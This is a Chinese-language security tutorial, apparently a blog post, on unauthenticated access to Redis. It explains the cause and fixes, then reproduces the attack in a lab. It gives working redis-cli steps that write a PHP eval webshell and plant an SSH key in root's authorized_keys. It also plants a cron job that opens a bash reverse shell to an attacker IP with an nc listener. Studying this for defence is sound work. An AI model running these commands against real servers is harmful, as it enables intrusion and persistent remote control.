redis 未授权访问漏洞
目录
redis 未授权访问漏洞
漏洞描述
漏洞原因:
漏洞危害
漏洞复现:
漏洞复现
写webshell:
写计划任务:centos默认在/var/spool/cron
写ssh公钥实现ssh登录:
漏洞描述:
Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。
漏洞原因:
(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网 (2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务 版本:redis 2.x 3.x 4.x 5.x
漏洞危害:
(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据 (2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件 (3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器
修复建议:
1、禁止外部访问redis服务端口
2、禁止使用root权限启动redis服务
3、配置安全组,限制可连接的redis服务的ip
4、redis设置用户名和密码访问
漏洞复现:
修改配置:
#bind 127.0.0.1
protected-mod no
重启服务:
./redis-server /root/redis-6.2.5/redis.conf
漏洞复现
写webshell:
客户端:
./redis-cli -h 192.168.26.153
192.168.26.153:6379> config set dir /var/www/html
OK
192.168.26.153:6379> config set dbfilename redis.php
OK
192.168.26.153:6379> set webshell "\n\r\n\r<?php phpinfo();?>\n\r\n\r"
OK
192.168.26.153:6379> save
OK
"\n\r\n\r<?php @eval($_POST['cmd']);?>\n\r\n\r"
写计划任务:centos默认在/var/spool/cron
not connected> config get dir
1) "dir"
2) "/root/redis-6.2.5/src"
192.168.26.153:6379> config set dir /var/spool/cron
OK
192.168.26.153:6379> config set dbfilename root
OK
192.168.26.153:6379> set ddd "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.26.144/7777 0>&1\n\n\n"
OK
192.168.26.153:6379> save
攻击机上使用nc监听,然后进行登录:
nc -lvp 7777
结果:
写ssh公钥实现ssh登录:
攻击机上生成公钥和私钥
ssh-keygen -t rsa
2、进入/root/.ssh,将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)
(echo -e “\n”;cat id_rsa.pub;echo -e “\n”)>key.txt
3、再把key.txt文件内容写入redis缓冲
cat key.txt| /root/redis-6.2.5/src/./redis-cli -h 192.168.26.153 -x set pub
4、设置redis的默认文件路径为/root/.ssh且文件名为authorized_keys,然后save保存。
192.168.26.153:6379> ping
PONG
192.168.26.153:6379> config set dir /root/.ssh
OK
192.168.26.153:6379> config set dbfilename authorized_keys
OK
192.168.26.153:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
192.168.26.153:6379> save
OK
192.168.26.153:6379>
5、在攻击机中使用ssh免密登录靶机